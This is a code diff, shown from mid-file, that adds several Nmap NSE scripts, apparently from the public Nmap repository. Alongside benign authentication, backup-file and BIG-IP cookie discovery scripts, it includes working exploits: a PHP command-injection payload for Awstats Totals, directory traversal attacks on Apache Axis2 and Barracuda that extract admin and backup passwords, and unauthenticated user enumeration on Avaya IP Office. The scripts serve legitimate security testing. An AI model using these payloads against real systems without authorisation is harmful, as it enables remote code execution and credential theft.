+ table.insert(schemes, item.scheme)
+ end
+ end
+ tab.addrow(auth_urls, r.url, ("HTTP: %s"):format(table.concat(schemes, ", ")))
+ else
+ tab.addrow(auth_urls, r.url, ("HTTP: %s"):format(auth))
+ end
+ nmap.registry.auth_urls[r.url] = "HTTP"
+ -- FORM-based authentication
+ elseif r.response.body then
+ -- attempt to detect a password input form field
+ if ( r.response.body:match("<[Ii][Nn][Pp][Uu][Tt].-[Tt][Yy][Pp][Ee]%s*=\"*[Pp][Aa][Ss][Ss][Ww][Oo][Rr][Dd]") ) then
+ tab.addrow(auth_urls, r.url, "FORM")
+ nmap.registry.auth_urls[r.url] = "FORM"
+ end
+ end
+ end
+ if ( #auth_urls > 1 ) then
+ local result = { tab.dump(auth_urls) }
+ result.name = crawler:getLimitations()
+ return stdnse.format_output(true, result)
+ end
+end
diff --git a/scripts/http-auth.nse b/scripts/http-auth.nse
new file mode 100644
index 0000000..d71847f
--- /dev/null
+++ b/scripts/http-auth.nse
@@ -0,0 +1,106 @@
+local http = require "http"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+
+description = [[
+Retrieves the authentication scheme and realm of a web service that requires
+authentication.
+]]
+
+---
+-- @usage
+-- nmap --script http-auth [--script-args http-auth.path=/login] -p80 <host>
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 80/tcp open http syn-ack
+-- | http-auth:
+-- | HTTP/1.1 401 Unauthorized
+-- | Negotiate
+-- | NTLM
+-- | Digest charset=utf-8 nonce=+Upgraded+v1e4e256b4afb7f89be014e...968ccd60affb7c qop=auth algorithm=MD5-sess realm=example.com
+-- |_ Basic realm=example.com
+--
+-- @xmloutput
+-- <table>
+-- <elem key="scheme">Basic</elem>
+-- <table key="params">
+-- <elem key="realm">Router</elem>
+-- </table>
+-- </table>
+-- <elem key="scheme">Digest</elem>
+-- <table key="params">
+-- <elem key="nonce">np9qe4zJBAA=1f3ae82f536e70a806241b3358f571507a3a4d67</elem>
+-- <elem key="realm">Router</elem>
+-- <elem key="algorithm">MD5</elem>
+-- <elem key="qop">auth</elem>
+-- <elem key="domain">secret</elem>
+-- </table>
+-- </table>
+--
+-- @args http-auth.path Define the request path
+--
+-- @see http-auth-finder.nse
+-- @see http-brute.nse
+
+-- HTTP authentication information gathering script
+-- rev 1.1 (2007-05-25)
+-- 2008-11-06 Vlatko Kosturjak <kost@linux.hr>
+-- * bug fixes against base64 encoded strings, more flexible auth/pass check,
+-- corrected sample output
+-- 2011-12-18 Duarte Silva <duarte.silva@serializing.me>
+-- * Added hostname and path arguments
+-- * Updated documentation
+-----------------------------------------------------------------------
+
+author = "Thomas Buchanan"
+
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+categories = {"default", "auth", "safe"}
+
+
+portrule = shortport.http
+
+local PATH = stdnse.get_script_args(SCRIPT_NAME .. ".path")
+
+action = function(host, port)
+ local www_authenticate
+ local challenges
+
+ local result = {}
+ local answer = http.get(host, port, PATH or "/", { bypass_cache = true })
+
+ --- check for 401 response code
+ if answer.status ~= 401 then
+ return
+ end
+
+ result.name = answer["status-line"]:match("^(.*)\r?\n$")
+
+ www_authenticate = answer.header["www-authenticate"]
+ if not www_authenticate then
+ table.insert( result, ("Server returned status %d but no WWW-Authenticate header."):format(answer.status) )
+ return stdnse.format_output(true, result)
+ end
+ challenges = http.parse_www_authenticate(www_authenticate)
+ if not challenges then
+ table.insert( result, ("Server returned status %d but the WWW-Authenticate header could not be parsed."):format(answer.status) )
+ table.insert( result, ("WWW-Authenticate: %s"):format(www_authenticate) )
+ return stdnse.format_output(true, result)
+ end
+
+ for _, challenge in ipairs(challenges) do
+ local line = challenge.scheme
+ if ( challenge.params ) then
+ for name, value in pairs(challenge.params) do
+ line = line .. string.format(" %s=%s", name, value)
+ end
+ end
+ table.insert(result, line)
+ end
+
+ return challenges, stdnse.format_output(true, result)
+end
diff --git a/scripts/http-avaya-ipoffice-users.nse b/scripts/http-avaya-ipoffice-users.nse
new file mode 100644
index 0000000..8aed214
--- /dev/null
+++ b/scripts/http-avaya-ipoffice-users.nse
@@ -0,0 +1,77 @@
+description = [[
+Attempts to enumerate users in Avaya IP Office systems 7.x.
+
+Avaya IP Office systems allow unauthenticated access to the URI '/system/user/scn_user_list'
+which returns a XML file containing user information such as display name, full name and
+extension number.
+
+* Tested on Avaya IP Office 7.0(27).
+]]
+
+---
+-- @usage nmap -p80 --script http-avaya-ipoffice-users <target>
+-- @usage nmap -sV --script http-avaya-ipoffice-users <target>
+--
+-- @output
+-- PORT STATE SERVICE REASON VERSION
+-- 80/tcp open http syn-ack ttl 99 Avaya IP Office VoIP PBX httpd 7.0(27)
+-- | http-avaya-ipoffice-users:
+-- | title: Avaya IP Office User Listing
+-- | users:
+-- |
+-- | full_name: John Doe
+-- | extension: 211
+-- | name: JDoe
+-- |_ data_source: IPOFFICE/7.0(27) xxx.xxx.xxx.xxx
+
+author = "Paulino Calderon <calderon@websec.mx>"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"exploit","vuln"}
+
+local http = require "http"
+local shortport = require "shortport"
+local string = require "string"
+local vulns = require "vulns"
+local stdnse = require "stdnse"
+local table = require "table"
+
+portrule = shortport.http
+
+action = function(host, port)
+ -- Identify servers that answer 200 to invalid HTTP requests and exit as these would invalidate the tests
+ local status_404, result_404, _ = http.identify_404(host,port)
+ if ( status_404 and result_404 == 200 ) then
+ stdnse.debug1("Exiting due to ambiguous response from web server on %s:%s. All URIs return status 200.", host.ip, port.number)
+ return nil
+ end
+ local output = stdnse.output_table()
+ local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)
+ local open_session = http.get(host, port, "/system/user/scn_user_list")
+ if open_session and open_session.status == 200 then
+ local _, _, source = string.find(open_session.body, "<data_source>(.-)</data_source>")
+ if source == nil then
+ stdnse.debug(1, "Pattern not found. Exiting")
+ return
+ end
+ output.title = "Avaya IP Office User Listing"
+ output.users = {}
+ output.data_source = source
+ --match the string data_source and print it //Avaya IP Office 7.0(27)
+ for user_block in string.gmatch(open_session.body, "<user>(.-)</user>") do
+ stdnse.debug(1, "User block found!")
+ local _, _, name = string.find(user_block, '<name>(.-)</name>')
+ local _,_, fName = string.find(user_block, '<fname>(.-)</fname>')
+ local _,_, ext = string.find(user_block, '<extn>(.-)</extn>')
+ stdnse.debug1("User found!\nName: %s\nFull name: %s\nExt:%s", name, fName, ext)
+ if name ~= nil or fName ~= nil or ext ~= nil then
+ local user = {}
+ user.name = name
+ user.full_name = fName
+ user.extension = ext
+ table.insert(output.users, user)
+ end
+ end
+ return output
+ end
+ return
+end
diff --git a/scripts/http-awstatstotals-exec.nse b/scripts/http-awstatstotals-exec.nse
new file mode 100644
index 0000000..ad4397c
--- /dev/null
+++ b/scripts/http-awstatstotals-exec.nse
@@ -0,0 +1,136 @@
+local http = require "http"
+local io = require "io"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+
+description = [[
+Exploits a remote code execution vulnerability in Awstats Totals 1.0 up to 1.14
+and possibly other products based on it (CVE: 2008-3922).
+
+This vulnerability can be exploited through the GET variable <code>sort</code>.
+The script queries the web server with the command payload encoded using PHP's
+chr() function:
+
+<code>?sort={%24{passthru%28chr(117).chr(110).chr(97).chr(109).chr(101).chr(32).chr(45).chr(97)%29}}{%24{exit%28%29}}</code>
+
+Common paths for Awstats Total:
+* <code>/awstats/index.php</code>
+* <code>/awstatstotals/index.php</code>
+* <code>/awstats/awstatstotals.php</code>
+
+References:
+* http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3922
+* http://www.exploit-db.com/exploits/17324/
+]]
+
+---
+-- @usage
+-- nmap -sV --script http-awstatstotals-exec.nse --script-args 'http-awstatstotals-exec.cmd="uname -a", http-awstatstotals-exec.uri=/awstats/index.php' <target>
+-- nmap -sV --script http-awstatstotals-exec.nse <target>
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 80/tcp open http syn-ack
+-- | http-awstatstotals-exec.nse:
+-- |_Output for 'uname -a':Linux 2.4.19 #1 Son Apr 14 09:53:28 CEST 2002 i686 GNU/Linux
+--
+-- @args http-awstatstotals-exec.uri Awstats Totals URI including path. Default: /index.php
+-- @args http-awstatstotals-exec.cmd Command to execute. Default: whoami
+-- @args http-awstatstotals-exec.outfile Output file. If set it saves the output in this file.
+---
+-- Other useful args when running this script:
+-- http.useragent - User Agent to use in GET request
+--
+
+author = "Paulino Calderon <calderon@websec.mx>"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"vuln", "intrusive", "exploit"}
+
+
+portrule = shortport.http
+
+--default values
+local DEFAULT_CMD = "whoami"
+local DEFAULT_URI = "/index.php"
+
+---
+--Writes string to file
+-- @param filename Filename to write
+-- @param content Content string
+-- @return boolean status
+-- @return string error
+--Taken from: hostmap.nse
+local function write_file(filename, contents)
+ local f, err = io.open(filename, "w")
+ if not f then
+ return f, err
+ end
+ f:write(contents)
+ f:close()
+ return true
+end
+
+---
+--Checks if Awstats Totals installation seems to be there
+-- @param host Host table
+-- @param port Port table
+-- @param path Path pointing to AWStats Totals
+-- @return true if awstats totals is found
+local function check_installation(host, port, path)
+ local check_req = http.get(host, port, path)
+ if not(http.response_contains(check_req, "AWStats")) then
+ return false
+ end
+ return true
+end
+
+---
+--MAIN
+---
+action = function(host, port)
+ local output = {}
+ local uri = stdnse.get_script_args("http-awstatstotals-exec.uri") or DEFAULT_URI
+ local cmd = stdnse.get_script_args("http-awstatstotals-exec.cmd") or DEFAULT_CMD
+ local out = stdnse.get_script_args("http-awstatstotals-exec.outfile")
+
+ --check for awstats signature
+ local awstats_check = check_installation(host, port, uri)
+ if not(awstats_check) then
+ stdnse.debug1("This does not look like Awstats Totals. Quitting.")
+ return
+ end
+
+ --Encode payload using PHP's chr()
+ local encoded_payload = {}
+ cmd:gsub(".", function(c) encoded_payload[#encoded_payload+1] = ("chr(%s)"):format(string.byte(c)) end)
+ local stealth_payload = "?sort={%24{passthru%28"..table.concat(encoded_payload,'.').."%29}}{%24{exit%28%29}}"
+
+ --set payload and send request
+ local req = http.get(host, port, uri .. stealth_payload)
+ if req.status and req.status == 200 then
+ output[#output+1] = string.format("\nOutput for '%s':%s", cmd, req.body)
+
+ --if out set, save output to file
+ if out then
+ local status, err = write_file(out, req.body)
+ if status then
+ output[#output+1] = string.format("Output saved to %s\n", out)
+ else
+ output[#output+1] = string.format("Error saving output to %s: %s\n", out, err)
+ end
+ end
+
+ else
+ if nmap.verbosity()>= 2 then
+ output[#output+1] = "[Error] Request did not return 200. Make sure your URI value is correct. A WAF might be blocking your request"
+ end
+ end
+
+ --output
+ if #output>0 then
+ return table.concat(output, "\n")
+ end
+end
diff --git a/scripts/http-axis2-dir-traversal.nse b/scripts/http-axis2-dir-traversal.nse
new file mode 100644
index 0000000..bf90cac
--- /dev/null
+++ b/scripts/http-axis2-dir-traversal.nse
@@ -0,0 +1,197 @@
+local creds = require "creds"
+local http = require "http"
+local io = require "io"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+
+description = [[
+Exploits a directory traversal vulnerability in Apache Axis2 version 1.4.1 by
+sending a specially crafted request to the parameter <code>xsd</code>
+(BID 40343). By default it will try to retrieve the configuration file of the
+Axis2 service <code>'/conf/axis2.xml'</code> using the path
+<code>'/axis2/services/'</code> to return the username and password of the
+admin account.
+
+To exploit this vulnerability we need to detect a valid service running on the
+installation so we extract it from <code>/listServices</code> before exploiting
+the directory traversal vulnerability. By default it will retrieve the
+configuration file, if you wish to retrieve other files you need to set the
+argument <code>http-axis2-dir-traversal.file</code> correctly to traverse to
+the file's directory. Ex. <code>../../../../../../../../../etc/issue</code>
+
+To check the version of an Apache Axis2 installation go to:
+http://domain/axis2/services/Version/getVersion
+
+Reference:
+* https://www.securityfocus.com/bid/40343
+* https://www.exploit-db.com/exploits/12721/
+]]
+
+---
+-- @usage
+-- nmap -p80,8080 --script http-axis2-dir-traversal --script-args 'http-axis2-dir-traversal.file=../../../../../../../etc/issue' <host/ip>
+-- nmap -p80 --script http-axis2-dir-traversal <host/ip>
+--
+-- @output
+-- 80/tcp open http syn-ack
+-- |_http-axis2-dir-traversal.nse: Admin credentials found -> admin:axis2
+--
+-- @args http-axis2-dir-traversal.file Remote file to retrieve
+-- @args http-axis2-dir-traversal.outfile Output file
+-- @args http-axis2-dir-traversal.basepath Basepath to the services page. Default: <code>/axis2/services/</code>
+
+author = "Paulino Calderon <calderon@websec.mx>"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"vuln", "intrusive", "exploit"}
+
+
+portrule = shortport.http
+
+--Default configuration values
+local DEFAULT_FILE = "../conf/axis2.xml"
+local DEFAULT_PATH = "/axis2/services/"
+
+---
+--Checks the given URI looks like an Apache Axis2 installation
+-- @param host Host table
+-- @param port Port table
+-- @param path Apache Axis2 Basepath
+-- @return True if the string "Available services" is found
+local function check_installation(host, port, path)
+ local req = http.get(host, port, path)
+ if req.status == 200 and http.response_contains(req, "Available services") then
+ return true
+ end
+ return false
+end
+
+---
+-- Returns a table with all the available services extracted
+-- from the services list page
+-- @param body Services list page body
+-- @return Table containing the names and paths of the available services
+local function get_available_services(body)
+ local services = {}
+ for service in string.gmatch(body, '<h4>Service%sDescription%s:%s<font%scolor="black">(.-)</font></h4>') do
+ table.insert(services, service)
+ end
+
+ return services
+end
+
+---
+--Writes string to file
+--Taken from: hostmap.nse
+-- @param filename Filename to write
+-- @param contents Content of file
+-- @return True if file was written successfully
+local function write_file(filename, contents)
+ local f, err = io.open(filename, "w")
+ if not f then
+ return f, err
+ end
+ f:write(contents)
+ f:close()
+ return true
+end
+
+---
+-- Extracts Axis2's credentials from the configuration file
+-- It also adds them to the credentials library.
+-- @param body Configuration file string
+-- @return true if credentials are found
+-- @return Credentials or error string
+---
+local function extract_credentials(host, port, body)
+ local _,_,user = string.find(body, '<parameter name="userName">(.-)</parameter>')
+ local _,_,pass = string.find(body, '<parameter name="password">(.-)</parameter>')
+
+ if user and pass then
+ local cred_obj = creds.Credentials:new( SCRIPT_NAME, host, port )
+ cred_obj:add(user, pass, creds.State.VALID )
+ return true, string.format("Admin credentials found -> %s:%s", user, pass)
+ end
+ return false, "Credentials were not found."
+end
+
+action = function(host, port)
+ local outfile = stdnse.get_script_args("http-axis2-dir-traversal.outfile")
+ local rfile = stdnse.get_script_args("http-axis2-dir-traversal.file") or DEFAULT_FILE
+ local basepath = stdnse.get_script_args("http-axis2-dir-traversal.basepath") or DEFAULT_PATH
+ local selected_service, output
+
+ --check this is an axis2 installation
+ if not(check_installation(host, port, basepath.."listServices")) then
+ stdnse.debug1("This does not look like an Apache Axis2 installation.")
+ return
+ end
+
+ output = {}
+ --process list of available services
+ local req = http.get( host, port, basepath.."listServices")
+ local services = get_available_services(req.body)
+
+ --generate debug info for services and select first one to be used in the request
+ if #services > 0 then
+ for _, servname in pairs(services) do
+ stdnse.debug1("Service found: %s", servname)
+ end
+ selected_service = services[1]
+ else
+ if nmap.verbosity() >= 2 then
+ stdnse.debug1("There are no services available. We can't exploit this")
+ end
+ return
+ end
+
+ --Use selected service and exploit
+ stdnse.debug1("Querying service: %s", selected_service)
+ req = http.get(host, port, basepath..selected_service.."?xsd="..rfile)
+ stdnse.debug2("Query -> %s", basepath..selected_service.."?xsd="..rfile)
+
+ --response came back
+ if req.status and req.status == 200 then
+ --if body is empty something wrong could have happened...
+ if string.len(req.body) <= 0 then
+ if nmap.verbosity() >= 2 then
+ stdnse.debug1("Response was empty. The file does not exists or the web server does not have sufficient permissions")
+ end
+ return
+ end
+
+ output[#output+1] = "\nApache Axis2 Directory Traversal (BID 40343)"
+
+ --Retrieve file or only show credentials if downloading the configuration file
+ if rfile ~= DEFAULT_FILE then
+ output[#output+1] = req.body
+ else
+ --try to extract credentials
+ local extract_st, extract_msg = extract_credentials(host, port, req.body)
+ if extract_st then
+ output[#output+1] = extract_msg
+ else
+ stdnse.debug1("Credentials not found in configuration file")
+ end
+ end
+
+ --save to file if selected
+ if outfile then
+ local status, err = write_file(outfile, req.body)
+ if status then
+ output[#output+1] = string.format("%s saved to %s\n", rfile, outfile)
+ else
+ output[#output+1] = string.format("Error saving %s to %s: %s\n", rfile, outfile, err)
+ end
+ end
+ else
+ stdnse.debug1("Request did not return status 200. File might not be found or unreadable")
+ return
+ end
+
+ if #output > 0 then
+ return table.concat(output, "\n")
+ end
+end
diff --git a/scripts/http-backup-finder.nse b/scripts/http-backup-finder.nse
new file mode 100644
index 0000000..894c738
--- /dev/null
+++ b/scripts/http-backup-finder.nse
@@ -0,0 +1,157 @@
+local coroutine = require "coroutine"
+local http = require "http"
+local httpspider = require "httpspider"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local table = require "table"
+local url = require "url"
+
+description = [[
+Spiders a website and attempts to identify backup copies of discovered files.
+It does so by requesting a number of different combinations of the filename (eg. index.bak, index.html~, copy of index.html).
+]]
+
+---
+-- @usage
+-- nmap --script=http-backup-finder <target>
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 80/tcp open http syn-ack
+-- | http-backup-finder:
+-- | Spidering limited to: maxdepth=3; maxpagecount=20; withindomain=example.com
+-- | http://example.com/index.bak
+-- | http://example.com/login.php~
+-- | http://example.com/index.php~
+-- |_ http://example.com/help.bak
+--
+-- @args http-backup-finder.maxdepth the maximum amount of directories beneath
+-- the initial url to spider. A negative value disables the limit.
+-- (default: 3)
+-- @args http-backup-finder.maxpagecount the maximum amount of pages to visit.
+-- A negative value disables the limit (default: 20)
+-- @args http-backup-finder.url the url to start spidering. This is a URL
+-- relative to the scanned host eg. /default.html (default: /)
+-- @args http-backup-finder.withinhost only spider URLs within the same host.
+-- (default: true)
+-- @args http-backup-finder.withindomain only spider URLs within the same
+-- domain. This widens the scope from <code>withinhost</code> and can
+-- not be used in combination. (default: false)
+--
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"discovery", "safe"}
+
+
+portrule = shortport.http
+
+local function backupNames(filename)
+ local function createBackupNames()
+ local dir = filename:match("^(.*/)") or ""
+ local basename, suffix = filename:match("([^/]*)%.(.*)$")
+
+ local backup_names = {}
+ if basename then
+ table.insert(backup_names, "{basename}.bak") -- generic bak file
+ end
+ if basename and suffix then
+ table.insert(backup_names, "{basename}.{suffix}~") -- emacs
+ table.insert(backup_names, "{basename} copy.{suffix}") -- mac copy
+ table.insert(backup_names, "Copy of {basename}.{suffix}") -- windows copy
+ table.insert(backup_names, "Copy (2) of {basename}.{suffix}") -- windows second copy
+ table.insert(backup_names, "{basename}.{suffix}.1") -- generic backup
+ table.insert(backup_names, "{basename}.{suffix}.~1~") -- bzr --revert residue
+
+ end
+
+ local replace_patterns = {
+ ["{filename}"] = filename,
+ ["{basename}"] = basename,
+ ["{suffix}"] = suffix,
+ }
+
+ for _, name in ipairs(backup_names) do
+ local backup_name = name
+ for p, v in pairs(replace_patterns) do
+ backup_name = backup_name:gsub(p,v)
+ end
+ coroutine.yield(dir .. backup_name)
+ end
+ end
+ return coroutine.wrap(createBackupNames)
+end
+
+action = function(host, port)
+
+ local crawler = httpspider.Crawler:new(host, port, nil, { scriptname = SCRIPT_NAME } )
+ crawler:set_timeout(10000)
+
+ -- Identify servers that answer 200 to invalid HTTP requests and exit as these would invalidate the tests
+ local status_404, result_404, known_404 = http.identify_404(host,port)
+ if ( status_404 and result_404 == 200 ) then
+ stdnse.debug1("Exiting due to ambiguous response from web server on %s:%s. All URIs return status 200.", host.ip, port.number)
+ return nil
+ end
+
+ -- Check if we can use HEAD requests
+ local use_head = http.can_use_head(host, port, result_404)
+
+ local backups = {}
+ while(true) do
+ local status, r = crawler:crawl()
+ -- if the crawler fails it can be due to a number of different reasons
+ -- most of them are "legitimate" and should not be reason to abort
+ if ( not(status) ) then
+ if ( r.err ) then
+ return stdnse.format_output(false, r.reason)
+ else
+ break
+ end
+ end
+
+ -- parse the returned url
+ local parsed = url.parse(tostring(r.url))
+
+ -- handle case where only hostname was provided
+ if ( parsed.path == nil ) then
+ parsed.path = '/'
+ end
+
+ -- only pursue links that have something looking as a file
+ if ( parsed.path:match(".*%.*.$") ) then
+ -- iterate over possible backup files
+ for link in backupNames(parsed.path) do
+ local host = parsed.host
+ local port = parsed.port or url.get_default_port(parsed.scheme)
+
+ -- the url.escape doesn't work here as it encodes / to %2F
+ -- which results in 400 bad request, so we simple do a space
+ -- replacement instead.
+ local escaped_link = link:gsub(" ", "%%20")
+
+ local response
+ if(use_head) then
+ response = http.head(host, port, escaped_link, {redirect_ok=false})
+ else
+ response = http.get(host, port, escaped_link, {redirect_ok=false})
+ end
+
+ if http.page_exists(response, result_404, known_404, escaped_link, false) then
+ if ( not(parsed.port) ) then
+ table.insert(backups,
+ ("%s://%s%s"):format(parsed.scheme, host, link))
+ else
+ table.insert(backups,
+ ("%s://%s:%d%s"):format(parsed.scheme, host, port, link))
+ end
+ end
+ end
+ end
+ end
+
+ if ( #backups > 0 ) then
+ backups.name = crawler:getLimitations()
+ return stdnse.format_output(true, backups)
+ end
+end
diff --git a/scripts/http-barracuda-dir-traversal.nse b/scripts/http-barracuda-dir-traversal.nse
new file mode 100644
index 0000000..e321ccf
--- /dev/null
+++ b/scripts/http-barracuda-dir-traversal.nse
@@ -0,0 +1,184 @@
+local http = require "http"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+
+description = [[
+Attempts to retrieve the configuration settings from a Barracuda
+Networks Spam & Virus Firewall device using the directory traversal
+vulnerability described at
+http://seclists.org/fulldisclosure/2010/Oct/119.
+
+This vulnerability is in the "locale" parameter of
+"/cgi-mod/view_help.cgi" or "/cgi-bin/view_help.cgi", allowing the
+information to be retrieved from a MySQL database dump. The web
+administration interface runs on port 8000 by default.
+
+Barracuda Networks Spam & Virus Firewall <= 4.1.1.021 Remote Configuration Retrieval
+Original exploit by ShadowHatesYou <Shadow@SquatThis.net>
+For more information, see:
+http://seclists.org/fulldisclosure/2010/Oct/119
+http://www.exploit-db.com/exploits/15130/
+]]
+
+---
+-- @usage
+-- nmap --script http-barracuda-dir-traversal --script-args http-max-cache-size=5000000 -p <port> <host>
+--
+-- @args http-max-cache-size
+-- Set max cache size. The default value is 100,000.
+-- Barracuda config files vary in size mostly due to the number
+-- of users. Using a max cache size of 5,000,000 bytes should be
+-- enough for config files containing up to 5,000 users.
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 8000/tcp open http syn-ack Barracuda Spam firewall http config
+-- | http-barracuda-dir-traversal:
+-- | Users: 256
+-- | Device: Barracuda Spam Firewall
+-- | Version: 4.1.0.0
+-- | Hostname: barracuda
+-- | Domain: example.com
+-- | Timezone: America/Chicago
+-- | Language: en_US
+-- | Password: 123456
+-- | API Password: 123456
+-- | MTA SASL LDAP Password: 123456
+-- | Gateway: 192.168.1.1
+-- | Primary DNS: 192.168.1.2
+-- | Secondary DNS: 192.168.1.3
+-- | DNS Cache: No
+-- | Backup Server: ftp.example.com
+-- | Backup Port: 21
+-- | Backup Type: ftp
+-- | Backup Username: user
+-- | Backup Password: 123456
+-- | NTP Enabled: Yes
+-- | NTP Server: update01.barracudanetworks.com
+-- | SSH Enabled: Yes
+-- | BRTS Enabled: No
+-- | BRTS Server: fp.bl.barracudanetworks.com
+-- | HTTP Port: 8000
+-- | HTTP Disabled: No
+-- | HTTPS Port: 443
+-- | HTTPS Only: No
+-- |
+-- | Vulnerable to directory traversal vulnerability:
+-- |_http://seclists.org/fulldisclosure/2010/Oct/119
+--
+-- @changelog
+-- 2011-06-08 - created by Brendan Coles - itsecuritysolutions.org
+-- 2011-06-10 - added user count
+-- - looped path detection
+-- 2011-06-15 - looped system info extraction
+-- - changed service portrule to "barracuda"
+--
+
+author = "Brendan Coles"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"intrusive", "exploit", "auth"}
+
+
+portrule = shortport.port_or_service (8000, "barracuda", {"tcp"})
+
+action = function(host, port)
+
+ local result = {}
+ local paths = {"/cgi-bin/view_help.cgi", "/cgi-mod/view_help.cgi"}
+ local payload = "?locale=/../../../../../../../mail/snapshot/config.snapshot%00"
+ local user_count = 0
+ local config_file = ""
+
+ -- Loop through vulnerable files
+ stdnse.debug1("Connecting to %s:%s", host.targetname or host.ip, port.number)
+ for _, path in ipairs(paths) do
+
+ -- Retrieve file
+ local data = http.get(host, port, tostring(path))
+ if data and data.status then
+
+ -- Check if file exists
+ stdnse.debug1("HTTP %s: %s", data.status, tostring(path))
+ if tostring(data.status):match("200") then
+
+ -- Attempt config file retrieval with LFI exploit
+ stdnse.debug1("Exploiting: %s", tostring(path .. payload))
+ data = http.get(host, port, tostring(path .. payload))
+ if data and data.status and tostring(data.status):match("200") and data.body and data.body ~= "" then
+
+ -- Check if the HTTP response contains a valid config file in MySQL database dump format
+ if string.match(data.body, "DROP TABLE IF EXISTS config;") and string.match(data.body, "barracuda%.css") then
+ config_file = data.body
+ break
+ end
+
+ else
+ stdnse.debug1("Failed to retrieve file: %s", tostring(path .. payload))
+ end
+
+ end
+
+ else
+ stdnse.debug1("Failed to retrieve file: %s", tostring(path))
+ end
+
+ end
+
+ -- No config file found
+ if config_file == "" then
+ stdnse.debug1("%s:%s is not vulnerable or connection timed out.", host.targetname or host.ip, port.number)
+ return
+ end
+
+ -- Extract system info from config file in MySQL dump format
+ stdnse.debug1("Exploit success! Extracting system info from MySQL database dump")
+
+ -- Count users
+ if string.match(config_file, "'user_default_email_address',") then
+ for _ in string.gmatch(config_file, "'user_default_email_address',") do user_count = user_count + 1 end
+ end
+ table.insert(result, string.format("Users: %s", user_count))
+
+ -- Extract system info
+ local vars = {
+ {"Device", "branding_device_name"},
+ {"Version","httpd_last_release_notes_version_read"},
+ {"Hostname","system_default_hostname"},
+ {"Domain","system_default_domain"},
+ {"Timezone","system_timezone"},
+ {"Language","default_ndr_lang"},
+ {"Password","system_password"},
+ {"API Password","api_password"},
+ {"MTA SASL LDAP Password","mta_sasl_ldap_advanced_password"},
+ {"Gateway","system_gateway"},
+ {"Primary DNS","system_primary_dns_server"},
+ {"Secondary DNS","system_secondary_dns_server"},
+ {"DNS Cache","dns_cache"},
+ {"Backup Server","backup_server"},
+ {"Backup Port","backup_port"},
+ {"Backup Type","backup_type"},
+ {"Backup Username","backup_username"},
+ {"Backup Password","backup_password"},
+ {"NTP Enabled","system_ntp"},
+ {"NTP Server","system_ntp_server"},
+ {"SSH Enabled","system_ssh_enable"},
+ {"BRTS Enabled","brts_enable"},
+ {"BRTS Server","brts_lookup_domain"},
+ {"HTTP Port","http_port"},
+ {"HTTP Disabled","http_shutoff"},
+ {"HTTPS Port","https_port"},
+ {"HTTPS Only","https_only"},
+ }
+ for _, var in ipairs(vars) do
+ local var_match = string.match(config_file, string.format("'%s','([^']+)','global',", var[2]))
+ if var_match then table.insert(result, string.format("%s: %s", var[1], var_match)) end
+ end
+
+ table.insert(result, "\nVulnerable to directory traversal vulnerability:\nhttp://seclists.org/fulldisclosure/2010/Oct/119")
+
+ -- Return results
+ return stdnse.format_output(true, result)
+
+end
diff --git a/scripts/http-bigip-cookie.nse b/scripts/http-bigip-cookie.nse
new file mode 100644
index 0000000..80b77c9
--- /dev/null
+++ b/scripts/http-bigip-cookie.nse
@@ -0,0 +1,83 @@
+description = [[
+Decodes any unencrypted F5 BIG-IP cookies in the HTTP response.
+BIG-IP cookies contain information on backend systems such as
+internal IP addresses and port numbers.
+See here for more info: https://support.f5.com/csp/article/K6917
+]]
+
+local http = require "http"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local table = require "table"
+
+---
+-- @usage
+-- nmap -p <port> --script http-bigip-cookie <target>
+--
+-- @output
+-- PORT STATE SERVICE
+-- 80/tcp open http
+-- | http-bigip-cookie:
+-- | BIGipServer<pool_name>:
+-- | address:
+-- | host: 10.1.1.100
+-- | type: ipv4
+-- |_ port: 8080
+--
+-- @xmloutput
+-- <table key="BIGipServer<pool_name>">
+-- <table key="address">
+-- <elem key="host">10.1.1.100</elem>
+-- <elem key="type">ipv4</elem>
+-- </table>
+-- <elem key="port">8080</elem>
+-- </table>
+--
+-- @args http-bigip-cookie.path The URL path to request. The default path is "/".
+
+author = "Seth Jackson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = { "discovery", "safe" }
+
+portrule = shortport.http
+
+action = function(host, port)
+ local path = stdnse.get_script_args(SCRIPT_NAME..".path") or "/"
+
+ local response = http.get(host, port, path, { redirect_ok = false })
+
+ if not response then
+ return
+ end
+
+ if not response.cookies then
+ return
+ end
+
+ local output = stdnse.output_table()
+
+ for _, cookie in ipairs(response.cookies) do
+ if cookie.name:find("BIGipServer") then
+ local host, port = cookie.value:match("^(%d+)%.(%d+)%.")
+
+ if host and tonumber(host) < 0x100000000 and tonumber(port) < 0x10000 then
+ host = table.concat({("BBBB"):unpack(("<I4"):pack(host))}, ".", 1, 4)
+ port = (">I2"):unpack(("<I2"):pack(port))
+
+ local result = {
+ address = {
+ host = host,
+ type = "ipv4"
+ },
+ port = port
+ }
+
+ output[cookie.name] = result
+ end
+ end
+ end
+
+ if #output > 0 then
+ return output
+ end
+end
diff --git a/scripts/http-brute.nse b/scripts/http-brute.nse
new file mode 100644
index 0000000..e772593
--- /dev/null
+++ b/scripts/http-brute.nse
@@ -0,0 +1,165 @@
+local brute = require "brute"
+local creds = require "creds"
+local http = require "http"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local string = require "string"
+local stdnse = require "stdnse"
+
+description = [[
